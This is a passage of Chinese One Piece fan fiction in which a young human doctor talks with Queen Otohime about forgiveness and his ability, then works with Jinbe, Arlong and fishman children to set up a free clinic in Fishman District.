而恶意最容易孕育恶意,这是一个丑陋的循环。不管是鱼人族与人类之间还是人类与人类之间都是这样。 所以在事情终于冷静下来,他和乙姬往更加安静的地方走的时候,面对乙姬温柔的询问,他也是这么回答的。 反正他不觉得自己第一印象好到哪去了,失礼就失礼一点吧。 “我曾经见过一个天龙人小孩儿——您应该比我更了解什么是天龙人——她什么都不知道,乙姬殿下。” 露娜茜茜雅不知道''贱民''是什么意思,不知道她父亲打死的小孩跟她其实没什么不同,她除了天龙人的思想,什么都不知道。 “她什么都不知道,在她的环境里生长,那些受了伤害的人也只能定义她为恶不是吗?” 如果一生都只在圣地那个充满肮脏的地方,她也只能长成一朵漆黑的花,像她的父亲一样,像无数的天龙人一样,吸食无辜者的血肉而活。 因为她拒绝世界上还有别的活法。 “而那些遍体鳞伤的奴隶,那些失去了亲人爱人的人,怎么会不恨呢?” 巴//雷特...只是存在而已。 乙姬:“明白这一点的你,能做到原谅这个孩子吗?” 他能原谅那些叫他低等的鱼人居民吗?能原谅那些可能会排挤他的鱼人族孩子吗? 鱼人族可以原谅人类吗? 茵弗摇头:“我想轮不到我去谈原谅。不过我确实不喜欢她父亲。” 乙姬却突然将他抱了起来,也没在意他一身的血污,轻轻地摸着他的头,认同了他的想法。 “所以我才对你如此喜欢,小茵弗。我的梦想就是让鱼人岛的孩子们也能像你一样干净,去真正的太阳下生活。” 乙姬真的很高,茵弗伸展开了也就跟她的鱼尾差不多,大概金鱼人鱼不代表她一定会体型小吧。 糟糕,自己衬衫上的血好像要蹭到对方带着美丽花纹的长袍上了,他现在真的谈不上干净。 “谢谢您,不过再抱着我,您就要被我蹭得脏兮兮了。” 乙姬的笑声很好听,没有放下他,反而换了个姿势。 “这样抱,你舒服一点吗?抱歉,我还不是个母亲,但是岛上的孩子们一般都喜欢我这么抱他们。” 茵弗有点不好意思,看来他留下的第一印象也还行? “您会是个好母亲。” 他们到了一个叫海之森的地方, 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杰克逊号的大家曾经跟他讲过不少相关的事,毕竟罗杰就是想要随着历史正文抵达最终之岛的。 白色巨大的方形石头,上面雕刻着神秘的古代文字,传递某种信息。 这就是鱼人岛的秘密? 为什么一块是红色的? “鱼人岛历代都是为了完成几百年前的约定而守护着方舟诺亚,守护着先人留下的信息...” 乙姬缓缓上前触摸白色的那块石碑,见他还站在原地,对他招了招手。 茵弗上前,在她的示意下也学着她的样子摸上了石碑。 “你能听到什么吗?” 茵弗摇头,无生命的物体他听不到。 乙姬只是很有耐心地解释道,“我们听到人身心中的痛苦,可是我们听到的是【痛苦】而不是人,那也不是''生命''不是吗?” 她牵过他的手,两个人走到旁边的岩石上坐下。 “你的能力和我的不同,但是十分相似。在我小的时候,也对那些我不能理解的嘈杂声响而感到痛苦,我恐惧自己的能力。” 恐惧会带来抗拒,而它是自己的一部分,想要与之共处就只能去和解,第一步就是不要放任自己自我局限。 “有的时候,我感觉自己好像能听见鱼人岛在哭泣。” 面对茵弗的迷茫,她换了种说法。 “你相信如果一个''无生命''的物体中被足够的''生命''倾注了感情,它也会活过来吗?” 布拉曼克好像跟他讲过...什么船精灵?大概就是类似的意思? 水手们相信,如果足够爱一艘船就会诞生船精灵,是船只的化身一样的东西。 ''奥罗杰克逊号也是我们的伙伴。'' 罗杰这样说。 “当然,我们的能力并不全然相同,但是我相信你的潜力,这也是为什么我同意帮助你,我听到了你。” 她不能直接地告诉他某种某种声音是什么意思,但是她能教他怎么与自己的能力共处。怎么从受其影响,变成真正自己的一部分。 “你不需要''提高''你的能力,它是一种天赋,我会帮你学会使用它。” “就像是恶魔果实的觉醒?” 乙姬亲昵地捏捏他的鼻子,“就像是你的觉醒。先从见闻色开始练起怎么样?我相信在你身上,它们之间是存在共通的。” 茵弗点点头,看向自己的手,慢慢搓掉上面已经干涸的血,他该说点什么?感谢好像不足以表达了。 乙姬真的明白,明白他从小到大的困惑,明白他的恐惧,甚至比雷利、罗杰、库洛卡斯都还要明白。 这种感觉就像是他突然呼吸到了从来都没有过的新鲜空气。 “您...身体好像不太好。” 乙姬掏出手帕替他擦手,避免他继续把手指搓得通红。 “被你听到啦?那就拜托你了,小医生。” “啊,交给我吧。” - 等再次回到龙宫城,乙姬再次问他想在哪里工作,并且保证想去医院里的话她也会亲自去和那些医生们说的。 茵弗却拒绝了她的好意,表明希望再想想后做决定。 在一顿丰盛的贝类与海兽肉的晚餐后,他优先想好的第一件事就是把新鲜的大扇贝加入他喜欢的食物清单。 然后....嗯... 他想了想乙姬的梦想。 孩子们吗? 像亨姆岛,战争无休止国,圣地,香克斯和巴基那样,和香波地的那些孤儿们一样,可以有不是0%可能性的孩子们? 他脱了鞋,走在龙宫城由不同的珊瑚与石块铺成的长廊里,慢慢琢磨着。 脚底下结实却绵软的触感让他十分喜欢,整片地板都十分圆滑,也许是为了不剐蹭人鱼们在低处时无法避免垂下的尾鳍。 他也为了不碰伤自己,新做了一个随身斜挎的口袋呢,这样如果突然像今天一样打架,至少不会带着一个哐当哐当乱甩的药箱。 他的目光落到了口袋里的各种伤药上。 好吧,也许他可以试试再来一次。 想要活着看到陆地上的太阳,第一步就是活下来。 他扣响了面前富丽的大门,在护卫的点头下走向了坐在王座上办公的尼普顿。 乙姬不在,没关系——交给我吧。 他向鱼人岛的王说明了来意。 “陛下,您的子民中那些些许不幸的孤儿孩子,需要一间免费的诊所吗?” 28.鱼人街 茵弗玛利在踏入鱼人街时面对眼前的无序与破败的第一想法... 就是没什么想法。 当孤儿院变成孤儿街的时候其实就很说明问题了,这里没什么颜色。 尼普顿在听到他简单的构思之后对其表示了支持,但是明显怀疑茵弗的能力。 他的好友白胡子在离开前拜托他照顾这位年轻人,所以他当然愿意让对方去尝试,但是另一方面他也很担心茵弗玛利的人身安全。 鱼人街是鱼人岛一切混乱的诞生所,流离失所的大人小孩们集聚。暴力,恶意,歧视滋生。 而尼普顿虽知道这里的情况,却没有什么更好的办法管理。不管是资金上,军事上,还是空间上,鱼人岛受限的地方都太多了。 茵弗不是政客,他不管那些,他只是来行医的。 在去换金所把身上基本全部家当都换成钱之后,他带着已经变成笔记本的航海日志和药箱2.0到鱼人街转了一圈。 他心情不太好,但不是荒凉破败的街道带来的,不,这种场景他见得并不少。 也许是他失去太多白胡子海贼团给他的礼物了,虽然本身就是金币和珠宝,但是他一直都很珍视被赠予的东西,尤其是在与那些可爱的家伙相处了一段时间之后。 也许心情不好还有别的原因,但是他不打算顺着那条兔子洞跳下去。 他当然不是一个人来的,不然那些在角落里观察他的鱼人们早就扑上来抢劫了。 虽然他不怕打架,但是晚点还要见乙姬,可不想到时候告诉她,自己今天每走两步就爆锤了一顿她的子民。 所以他身边有一位护卫队的士兵,蓝皮肤的的高大鱼人。 一个有实力的年轻新人,出身鱼人街,所以接下了护送他的任务。 对方明显不信任自己,没事就要斜着眼睛看他一下。 茵弗没在意,他抛玩着去完换金所后剩下的唯一一枚古董金币——因为缺了一角,留作纪念——开口说道: “有什么想说的您可以直接说,甚平先生。我现在正在郁闷,不是很想转脑筋。” 甚平瞥了他一眼,这个人类少年一脸笑眯眯的,看起来不像是郁闷的样子。 他发出一声鼻音,没有开口。 对方不过是个跟乙姬殿下一样天真的孩子罢了。甚平尊敬他们,但是并不认同。 茵弗等了一会儿,见甚平不说话,也就耸耸肩,换了个话题。 “护卫队是有专门的医生吧?鱼人岛的药品是如何制造流通的?有什么特殊的药品吗?价格呢?岛上只有一所医院真的够吗?” 甚平没了解过这些,也没想到茵弗玛利会问自己这些,只是愣愣地把知道的回答了。 “护卫队有专门的医生,和御医是同一批,士兵不用出钱。岛上的医院...价格在下不知如何去对比。” 茵弗点点头,鱼人岛没有大量专门的军队,和御医一批也合理。 一所医院就解决全部问题的话... 茵弗环顾四周,接住那枚金币。 可是明明有很多居民不是吗? “甚平老大?” 一个少年鱼人带着几个年龄更小的孩子围了上来,本来尊敬和激动的神色在见到茵弗之后变成了警惕,拉开了些距离。 “你怎么突然回来了...还带着个..人类。” 哦吼~很有威信嘛大蓝。 甚平向那几个鱼人点头。 “阿龙。这是...乙姬王妃的客人。” 茵弗鞠躬,“您们好,我叫茵弗玛利。” 阿龙锯齿状的鼻子下咧出尖牙:“少假惺惺地说话,人类。” 甚平:“阿龙。” 茵弗又开始抛他的硬币,看到几个年龄小些的鱼人视线不由自主地追着那抹金色。 “没事,甚平先生。很多人都说我表面礼貌,我也是这么认为的。” 他朝阿龙身旁的小孩也咧嘴,举起那枚金币,“喜欢吗?”然后在那个扎着小辫的孩子点头时将其收了起来。 就在阿龙愤怒地以为他在嘲弄他们,连甚平都露出不赞扬的神色时,茵弗却掏出来了一把贝利。 “不好意思,小先生,这是我最后一枚了,而且也是别人送我的礼物,所以不能送给你。” 他晃晃那把贝利,“如果您和您的伙伴们,包括这位阿龙先生,帮我干点活,我就用这些交换当您们的工资怎么样。等活干完了我可以把金币借给您玩。” 他们很少见到这么一大笔钱,还是有人要给他们。 几个年纪小的纷纷看向阿龙,等着大哥做决定。 阿龙皱着眉:“我们不需要人类的怜悯。” 茵弗疑惑歪头:“怜悯?我在雇佣您们干活啊?又不是免费给您们,我也没那闲钱。” 甚平在这时开口了:“您要做什么,茵弗玛利医生。” 茵弗将那笔贝利塞到甚平怀里,阿龙眼尖地看到不少千字面额的钞票。 “我在贪您们便宜。” 他笑嘻嘻地示意了一下身边破败的建筑和空屋,“免费地产,不用租金。”这里不算鱼人街的中心地带,但是茵弗走这一圈可是丈量过了,这里和居民聚集地直线最近。 感谢布拉曼克,他可从来不知道走路也能估算距离。 “我要一栋楼,建一个您们去的起的医院。当然,先从小诊所开起吧~” 在阿龙再次说什么不需要怜悯的话之前,他打断了他,“这不是怜悯,先生。我不收治病疗伤的钱,但是您们得帮我。” 在他的故乡,想要什么即使你是个三岁的孤儿也得干活去换,付出与收获这点他从没忘记。 对他们来说,通过付出换回住在孤儿院的资格而不是街上,换回热粥而不是发霉的冷面包,这是幸运,这不丢人。 “长大了之后去憎恨人类也好,与人类和平共处也好,不在乎人类,只是过好自己的生活也好,您们总得先能长大。” 他蹲下来看向阿龙身边最小的孩子,一个章鱼鱼人,他的几双手臂纠结地交握着。 “来帮帮我,我就努力帮您们长大,怎么样?” 小八眼里有些泪花,虽然他不知道自己为什么面对一个奇怪的人类时会突然想哭,他看向阿龙大哥,看到对方神色不明地从甚平老大手里接过了那厚厚的一沓贝利。 “这些小子能干的活不多,我去找别人来。你要多少人?”阿龙有点闷闷地说。 茵弗摆摆手,“不着急,我今天只是来看看,您们慢慢商量,明天我会再来。如果没人愿意,那孩子们也有孩子们能做到的事,我不嫌弃。” 他看了看自己包里的贝利,大概估算了一下,“如果您们能接受工钱不高的话,一天十人是我能出的极限了,需要时间长的话,可能只能来七人左右。” 阿龙有些意外,点了点手里的贝利,他以为这就是全部的''工钱''了,听这个人类的意思... 小八:“你一天就给我们这么多钱吗?” 茵弗拧着眉头掏兜,又掏出来一把皱巴巴的贝利加到包里,“嗯...对...对。差不多,您们觉得行的话就...嘶——要签合同吗?我没拟过啊...果然还是有点草率了...” 就在甚平担心茵弗玛利要反悔,想开口说他个人可以为鱼人街的人担保不会故意偷懒的时候,茵弗又拿出那枚金币开始玩,有些偷头疼的说,“总之,您们不担心我会少您们钱的话,合同就先等工作开始后我再拿来,我会向乙姬王妃求教这个问题....嗯不过您们眼里人类的信誉...果然还是再等几天...不...我没有时间拖延...” 阿龙打断了他:“我们干!别婆婆妈妈的,不如说是你这个人类担心我们鱼人小心眼吧!” 茵弗愣了一下,勾着的嘴角放得轻松了些,:“啊,是呢,我向您道歉,鱼人先生。” 阿龙一拳打在棉花上有点脸红,哼了一声就把贝利塞到口袋里,“没事了就快滚吧人类!” 甚平叹了口气,茵弗却笑得咯咯地,对着那几个小鱼人挤眉弄眼了一下,做了几个侧空翻。 “好嘞~阿龙先生,侧着滚吗?” 阿龙大哥大喊大叫地骂,小八却被逗得哈哈笑,他不讨厌这个人类。 离开的路上,茵弗在自己的笔记本里写写画画,跟甚平说如果这边熟人很多可以一边走一边打个招呼,然后耐心地做着自己的事情,偶尔在被提到时笑着问候一句。 他叹了口气,也是真能给自己找事情干。得好好安排一下了。 一柄利剑悬在他的颅顶,他不会忘记自己离开杰克逊号来这里的初衷。 不过这边的事情既然开始做了就不能停下来,初期的话需要大量的钱...啧...库蕾哈医娘...我想您.... 他又叹了口气:“再说一次,有话可以直接说,甚平先生,指责我多管闲事也好,天真也罢,想打一架都行。我心情真的不怎么好,不想动脑筋了。” 甚平吸了口烟斗,说实话他不知道自己到底想说点什么,这短短半天的经历让这位高大的青年也有点烦躁。 “不、在下并不是想指责您...只是、第一次见到您这样的人类。” 茵弗点头,虽然视线仍然没有从本子上抬起来,甚平能模糊看到几个分叉连接的圈。 “您跟我说话不用那么慎重,当然,如果是像我一样是习惯的话那就当我没说。”他有点烦躁地划掉几个部分,又开始写什么,“您见过很多人类?” 这倒是...没有。 “在下、我见过白胡子船长。” 茵弗乐了,“那在下觉得自己和六米多的,明明是金发却长着白胡子的海贼船长比,还是没那么新奇。” 甚平听出了他的调侃,也放松了不少,露出带着尖牙的笑容。 茵弗:“不过我是认真的,先生。如果您多见见人类,就知道我没什么特别了。” 他不强大,不伟岸,没有架着红帆戏弄死亡追寻梦想的气魄;没有宽厚如山的包容之心,明明有颠覆世界的力量却愿意只是做一群混小子的父亲; 他没有追逐强大的理念;没有向往自由与冒险的灵魂;没有擅长寻找宝藏的眼力。 今天好像他有叹不完的气。 “这世界上有很多不同的人类,他们可能不像鱼人族一样多彩艳丽,都长着差不多的皮囊。可是他们有极善之人,也有极恶之人,跟鱼人没什么不同。” 甚平:“你是属于善的那一类吗?” 茵弗哼了一声,好像在思考一样,也可能只是在计划的东西又卡壳了。 “不是的,甚平先生。您可能觉得我可以跟乙姬王妃归为一类,但是不是这样的。” 乙姬想要守护鱼人岛,想要为鱼人族创造光明的未来,想要到陆地上去。她目光遥远而伟大,怀揣着纯洁的爱。 “我做不到那些事,我喜欢乙姬王妃,在她身上找到了让自己好奇的东西,所以现在只是在满足这份好奇而已。” 鱼人族怎么样,需要鱼人族的努力,就像是阿龙拿着的那笔钱一定会按需分配而不是按人数。 甚平:“...与人类和平共处真的能守护鱼人岛吗?” 茵弗这回抬头了,奇怪地看了他一眼,“''在下''怎么知道?” 甚平没有料到这个答案,肯定,否定,他想得到什么回答其实他也不知道。 所以他在茵弗疑惑的神情里哈哈大笑,确实如此,这种事情,怎么知道。 这位医生不是来守护鱼人岛的,他是来在没人在乎的烂地方开诊所的。 甚平也不知道,不过他觉得自己可以帮对方把这间诊所开起来,直到它变成医院,也许再变成别的什么。 士兵们医疗是免费的,所以他可以不收钱。 回到龙宫城,他主动找到尼普顿国王,申请这段时间成为茵弗玛利的专属护卫。 而在国王询问他为什么有这样的诉求的时候,他简单转述了一下之前发生的事,笑着说,“在下觉得,既然人类客人都如此了,我们鱼人岛,鱼人街,总要表达些诚意。” 茵弗不知道这件事,他在房间里又大概整理了一下匆忙记录的手稿,撕下那几页纸就准备去找乙姬。 所以当他敲门后推开乙姬房间的大门,看到对方哭的鼻 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茵弗玛利有点不好意思地捂着脸,原来是这样,不过...专属护卫? 他想想甚平今天在鱼人街很受那边的大伙尊敬的样子,突然觉得也挺好。 见乙姬不哭了,他拿过因为及时放在桌上,躲过了泪水攻击的几张草稿纸,慢吞吞地说: “您知道我干嘛了就好,不用再解释一遍...总之,这可能没您想得那么好...” 鱼人街很大,人很多,一间小诊所做不到那么多事。 不过鱼人岛在海下一万米,封闭的环境加上种族体质原因,因为交叉环境而带来的传染病和疑难杂症很少。 当然鱼人族也会有一些种族特有的''常见病'',这没关系,他的能力会帮他绕过那些东西,直接处理病痛。 而且在鱼人街那种环境下人们应该更多是受伤,感染。如果只有一些营养失衡或者缺乏带来的病症,就算健康了。 只是,就像亨姆岛上一样,一些小毛病长期不管也会爆发,也可能会走向死亡,祈祷是没用的。 “因为您说想让孩子们看看太阳,所以我...” 乙姬将一根指头堵在他的嘴上,虽然眼眶通红,但是蔚蓝的眼睛亮晶晶的。 “我知道,我知道,谢谢你,我也会努力的。” 茵弗挠挠脸,把自己画的鱼人街简图拎出来铺开:“嗯...咳...总之,有些事情我觉得还是应该和您商量一下...您去过鱼人街吗?” 乙姬有些悲伤地摇头,茵弗却没有指责她,只是在那张图上画红圈的地方点了点。 “您去的话,见闻色霸气会过载吧,总之,我目前选的地方是在这里,和居民聚集的地方虽然看起来比较远但是您看这里的小巷和...” “人手的话,我打算就在当地雇佣,虽然这么可能有点无耻,不过您也知道他们大多是孤儿和无业游民,所以没什么资金的时候工资就可以便宜一些,只要够他们生活就好...” “所有的治疗前期我会来做,药品的话除了我自制也可能需要从主岛医院购入一些,我不确定需求...” “因为还要跟您训练能力,所以我希望我们训练的时间可以放到早上,和那边的居民开始活动的时间错开...” “您也知道我在这里可能呆不了一年,半年差不多,我会在这半年在鱼人街训练一批掌握基础医疗的志愿者,如果可以建立稳定的循环的话那么即使我走了也可以正常运转下去,还可以在鱼人街提供一份工作...” 等他把自己草率的计划讲完,不知道过了多久,乙姬也没打断过他,不过他确实有点口干。 他摘下自己的挎包,把里面一叠叠的贝利倒了出来,数量不少,但是绝对不够多。 他数着数量移出去一部分,“这部分我需要付给来帮忙装修的人,不知道阿龙先生会带来多少人。剩下的我想拜托您帮我购入一些材料和药材,还有几份主岛医院的药品。” 他需要研究一下现在使用的药都是什么样子的,鱼人岛在海下,肯定也用了大量独有的材料。虽然他读过有关于海洋中可以入药的药材的医书,但是实际情况肯定还是需要切实考察。 除了学习之外,他还得试试看能不能用自己的方法去做一些,或者加以改良。 “我自制的药如果合适的话,可以麻烦您匿名贩卖给医院,或者在皇宫里使用吗,应该只要不知道来自于人类接受度就会好一些,当然质量我会担保 。” 这样有点利用皇室名头和号召力在里面,但是管他的,他真的没有那么多的渠道。 “嗯..嗯...”他看了看那些移走工钱部分后缩水了太多的贝利,也知道有点困难,可是鱼人街那边的工钱必须要给来工作的人安全感。 “除了在主岛上再找一份工作,我晚上回来之后在龙宫城里打工怎么样,做饭,巡逻,清洁,或者御医那边需要帮助的话都可以,不够的钱就用劳动来抵,您不用给我钱。” 只是把计划捋了一遍他就发现了很多漏洞和不足的地方,有点丧气地揉着额头,如果雷利在就好了,他毕竟狡猾又聪明。 但是他想试一试,只是一间诊所,他想告诉那些混沌中的漫游者,他们可以不一样的活。 一份工作,一份认同,一份机会,这些事情是可以存在的,他们可以有自己的选择。 他希望它是个开始,有乙姬,有甚平,也许还有更多这样的人,那些厚重的阴影总有一天会被他们自己驱散。 乙姬没回话,不知道在想什么,茵弗有些发呆也没注意。 他其实挺懒的,也喜欢睡觉。不过他觉得自己可以和未来至少半年的睡眠说再见了。 神啊,他已经开始感到疲惫了。 一双柔软的手扶住他的脸颊,引导他抬头。 他看到乙姬泪花闪闪,好像又要哭了,但是没有泪水落下,她只是微笑着再次亲了亲他的额头。 “交给我吧,小茵弗,交给我吧。” 29.红十 茵弗和乙姬聊了很久,有所不足的她会提议补充,她所期望的他会实话告知限制。 和他一个人拿出来稚嫩的计划不一样,至少让他看到了更多的可行性。 关于合同的事乙姬也找专业的大臣来一边教他一边起稿,三十分钟就弄好了。 还好有乙姬,虽然他觉得有的事情可能也需要和尼普顿国王聊,但是管他的,漂亮的王妃说那些都交给她。 消耗一定会很多。因为茵弗不想让诊所只依赖自己一位医生,而是在他离开后也可以运转,那么除了人员的培训外,医疗器械,药棉,纱布,手套,口罩,针管等等一系列用具都需要有稳定不断的补充。 所以她答应正式和他合作,前期他需要的资金材料她会给他提供,并以鱼人岛的立场对他的药品进行购买,而不是简单地只是替他贩卖,前期补贴的钱也会逐步扣除。 在这个世界,医疗资源,尤其是药物,一直都价格高昂,无论什么国家都一样。 如果效果很好,乙姬说价格贵一点是正常的,只是常用药她''私心地希望可以让大家都可以没有太多压力地用得起''。 而他对自己做出来的东西有自信,不论是药,还是吃的,还是用的,这是他为数不多的傲气。 乙姬的话让他意识到制药也是很好的工作机会,鱼人街人很多,闲置的街道也很多,他可以''偷偷''再改几栋房子。 鱼人们力量大,鱼人街的人们更是不怕辛苦,这会为他节省大量的时间。 虽然一些包装器具需要购买,但是订单大,乙姬会帮他拿下最大的优惠。而且鱼人街的地理位置虽然偏僻,但是很多原料他可以雇佣当地的人手替他直接去海里采,少了一层商人的中转会减轻不少压力。 最大的优势来自于他自己。 针对同一个病症他拿得出不同的治疗方案,对于病痛,他有自己的拆解方式。 他从小接触的就是来自医疗大国磁鼓岛的药理,那些和厚重的白雪一样淳朴的人们最拿手的就是在有限的环境中不断开发。 他在希鲁鲁克身上学会了另辟蹊径,在库蕾哈身上学会了敏锐与效率。 用的材料可以有所不同,制作方法也可以有所不同。就像给巴基改良自己的药膏,在这方面,对他来说办法总比困难多。 他需要仔细地记录自己的经验,药方,医案...希望他的烂字不会太影响阅读。 首先,得先从翻修一栋空建筑开始。 第二天他请等着自己的甚平吃了一串鱼丸,回到鱼人街,远远地就看到阿龙,身边有几个没见过的鱼人人鱼,还有昨天的小孩们。 他数了数,有些困惑地皱眉,人数超了。 “阿龙先生,很抱歉,但是我想我提过目前负担不了十个人以上的工程。” 阿龙跟甚平打了招呼之后转向他,轻轻踢了一脚一个粉色鱼人小孩的腿,“这些家伙一定要来,老子都说他们干不了什么活了,你不给钱也行,反正他们自愿的。” 茵弗看了看那几个忐忑的小鱼人,小章鱼又开始扭他的好几双手。 他叹了口气,摇摇头,“不,只要他们出力,我会有报酬的。” 他蹲下身面向他们,“您们以后跟着我去龙宫城吃饭好吗,我真的暂时没有钱了,给您们做饭吃怎么样?想试试陆地上的口味吗?” 他指指甚平,“晚上就让甚平先生送你们回来,或者偷偷跟我住在皇宫里,我分到的房间很大,只要你们不介意会有药的味道。” 小八额头渗出汗,几双手都摆了起来:“不不不不用,没关系的,我们,我们怎么能去龙宫城呢纽。” 茵弗起身,“为什么不能,我不是皇族,只是借住,您们是我的客人,跟皇族没有关系。” “好,没别的意见就这么定了,您们能吃辣吗?我这几天特别想吃辣辣的炒面。” 他把他们推向几栋空建筑前,左右看看,问了一句“哪边的好看?” 小八看起来这两边的空房子都是一样的破烂,绕着海草和珊瑚,都不怎么好看。 茵弗仰过头看向后方的阿龙和身后的一众踌躇的鱼人,“您们觉得呢?哪边好看?” 阿龙:“都丑死了。” 甚平犹豫了一下,指向左边那栋,“这个比较好翻新吧,大厅很大,房间也多,上面有楼层如果需要可以继续改造。” 茵弗点点头:“确实,但是它好看吗?如果您们觉得好看那就它了。” 阿龙啧了一声:“好不好看有什么区别啊!人类的破讲究。” 茵弗:“因为它将属于鱼人街,属于鱼人岛,我希望,至少帮助了它诞生的您们能够对它感到满意。” 什么啊这家伙... 人类的花言巧语。 阿龙率先拎起锤子,对身后的兄弟们招了招手。 “那就它了,老子说它好看它就好看!赶紧说你要怎么改,干活了!” 茵弗竖起一个大拇指,从包里掏出他抓耳挠腮一晚上画出的草图。 甚平卷卷袖子,将护卫队头盔放到一边,也加入了他们的行列,在阿龙对着茵弗玛利说出''剩下您们自由发挥''时的怒吼声里笑了笑。 到了中午,茵弗给他们分了三明治,因为意外人数太多而带的不够,有几个大人和孩子们一人只吃了半个。 自己没有食不言寝不语的好习惯,顶多不在嘴里塞得太满的时候说话。所以他和几个来的员工交换了姓名,唠唠嗑,也有几位仍然不信任他,坐得远远的,他也没在意。 吃过午饭,鱼人们继续干活,他就挎着药箱在鱼人街里晃悠,成人居民如果拒绝帮助他就不管了,小孩子严重的他会让甚平帮忙摁住,然后飞速处理,吵闹得太凶就狠狠弹一脑瓜崩或者用糖果贿赂,看眼缘。 转一圈就回去,继续在叮叮当当的背景音里忙自己的事情,有需要帮忙的就去帮两把。 不过鱼人不愧是力量是人类十倍的种族,虽然真的打起来他觉得自己不会输,可是他确实不能一只手抬起那么大的柱子。 只是一天,进度就比他预估的推地快了很多,这件事情让他非常开心,在傍晚的时候用欢快的语气给来工作的人分了钱,说今天可以先回去了。 “老子为什么没有?” “?您昨天不是拿走了吗?我可不是来做慈善的,还是说您昨天是在抢劫?” 阿龙额角青筋跳跳,虽然确实昨天自己就提前拿到钱了,但是对方的语气太让人不爽。 “如果我说是呢?” 茵弗正在招呼那几个正在努力整理自己破烂衣服的小孩不用那么紧张,听到他的话抬起头。 “虽然我也可以揍您一顿,但是甚平先生在这里,所以我会告状。” 阿龙举起拳头:“啧!谁揍谁啊!区区人类——” 甚平:“阿龙!” 该死的人类!!他没有羞耻心的吗!告状算什么男人! 茵弗玛利没管他的跳脚,笑眯眯地带着几个年龄小的和甚平去市场买了他们爱吃的食材,然后回了龙宫城。 孩子们见到乙姬有点局促,但是乙姬只是亲昵地和他们打招呼,在茵弗说这是今天帮忙干活的小客人之后挨个表示了感谢。 茵弗亲自用买回来的材料给他们做了饭,告诉他们因为这不是皇宫的东西,所以吃起来不用有负担,他们只是借个桌子而已。 饭很好吃,是小八没吃过的口味,而且量很大,他们难得吃得这么饱,即使国王和王妃坐在长桌的另一头这件事也被他抛在脑后。 不过他以为茵弗玛利说''请他们吃饭''就是晚饭的意思,结果在离开前,对方又递给他们仨几个饭盒。 “明天的早饭,我以后早上不过去那边。” “那我们要提前开始干活吗?” “都可以,您们的工作真是做得又快又好,多睡一会也可以,以后长得高。” 茵弗又递给甚平一串丸子,“辛苦了甚平先生,给您增加工作量了。” 送走小鱼人们,茵弗回到房间,桌边已经堆满了大包小包的包装药,桌子上也放着崭新的一套工作器具,应该是乙姬送来的。 好吧。 他嘎吱一声用脚勾上门。 虽然乙姬很贴心地已经把药品分类好了,他还是坐在地上,开始一样样拿出来看看标签,拆开闻闻,按自己的理解再次整理,以便参考。 今天是最轻松的一天,未来的每一秒钟他都有规划,也该忙起来了。 - 茵弗玛利大哥真的很忙,小八嚼着三明治想。 除了第一天,他们之后每次来工作都会分到一整个三明治。晚上会去龙宫城,茵弗玛利大哥给他们做饭,有很多据说是陆地上的口味,每次回来和金城他们说他们都很羡慕。 后来他们也开始在龙宫城里睡觉,在茵弗玛利大哥的房间里,所以第二天早上也会有热乎乎的早饭,如果不在那边住也会打包好饭盒让他们带回鱼人街。 他们分不到钱,可是没关系,能吃饱饭,在温暖的地方睡觉,他们也不需要别的钱。 毕竟这是小八吃的最好的日子。 自从把第一间屋子装修好,茵弗玛利大哥就搬着一堆东西进去了。每天他们在干活的时候他都会在里面,弄一些小八看不懂的东西。 偶尔他也会出来帮忙,对一个人类来说,他的力气真的挺大的,但是没有阿龙大哥力气大。 虽然别人说人类天生就比不上鱼人,不过小八还是觉得可能是只因为茵弗玛利大哥比阿龙大哥小一岁。 他也会去鱼人街里给一些受伤生病的人治病,不问他们是谁,因为什么受伤,只要对方同意他帮忙,他就会帮。然后宣传他的诊所,即使现在还没开门,不过他说只要去找他,不营业他也会看诊的。 “您可以只叫我茵弗的,小八,那么一长串不拗口吗?” “茵弗大哥?” “也可以,不过您怎么不叫我''人类大哥''了?” 小八有点不好意思地分出一只胳膊挠挠头,还有四只继续按对方教的往不同的瓶子里滴不同的液体。 “''人类''听起来,不够特殊。” 茵弗笑了,不过没有干扰他的的工作。 “我可没什么特殊的,两个眼睛一只鼻子。您看,您有这么多强壮的手臂呢,不过谢谢您。” 对,茵弗大哥很特殊的点就是不觉得他们长得奇怪,恰恰相反,他说他第一次见到鱼人族时的想法是:''鳞片好帅,他也想长。'' 小八有六只手,等这栋大房子翻新了一半,茵弗大哥就开始让他们这些年龄小一点人帮忙做一些药。 很神奇,他从来没做过这种事,克罗欧比和啾也很感兴趣,不过茵弗大哥说一点差错都不能有,要不然药就会失效了。 有一次在看到小八可以同时做很多事情之后,茵弗大哥扭了一把他的脸,说羡慕死了。 这和大人们说“人类比鱼人低等”所以羡慕他们不一样,小八感觉的出来。 茵弗大哥只是太忙了,所以也想做很多事情,他并不低等。 但是即使只有两只手,他知道对方做到的事情已经比他这个长着六只手臂的人多得多。 他印象最深的就是去龙宫城的时候,不是说他一个鱼人街的孩子天天去龙宫城这件事,而是在那边住时,晚上茵弗大哥会照顾着他、克罗欧比、啾睡下,然后自己趴在桌子上或者在一堆瓶瓶罐罐里继续忙碌。 茵弗大哥的屋子里堆的到处都是东西,也跟他说得一样充满药的味道,不过他们不介意。药的味道总比鱼人街的臭气好。 小八经常想等等看大哥几点睡觉,墙上的钟转了一圈又一圈,他每次都坚持不住睡着,从来没等到。 早上的时候茵弗大哥有训练,一开始他会等结束了再回来叫他们起床,可是在发现几次他们在屋子里无聊地等他的时候就会带着他们去找乙姬王妃,两个人如果是去露台就会让他们自己在旁边玩耍,如果是去兵舍就会把他们带到训练场,甚平老大会在那边等着。 因为没见过,所以小八没搞明白茵弗大哥是每天都在他们之前醒过来还是没睡觉。 等到那间屋子,不,那间诊所布置好,小八做一些基础的药膏药剂已经很熟练了,跟着茵弗大哥在鱼人街里看诊也会了一些包扎。 啾第一次自己给巴布洛大叔包扎好的时候,茵弗大哥很开心地亲了他的脸颊。 这太亲昵了,巴布洛大叔很生气的说人类不可以亲鱼人的孩子,茵弗居然亲了巴布洛大叔一口,说''那人类可以亲鱼人的臭脾气大叔吗''。 真的很好玩,茵弗大哥一直都很好玩,巴布洛大叔脸都变成紫色了。 第二天茵弗大哥送了他一瓶酒,认真地道歉,然后又一次吻了他的脸颊。 这次巴布洛大叔没生气。 - “你就不应该惯着他们。” 茵弗玛利揉揉酸痛的手腕,将多带的酒丢给阿龙一瓶。 “您说谁?小八和啾他们?” 阿龙直接掰掉玻璃瓶口灌了一口,这家伙虽然是人类,但也不至于给他们下毒,有酒为什么不喝? “不是、巴布洛那样的老家伙。” 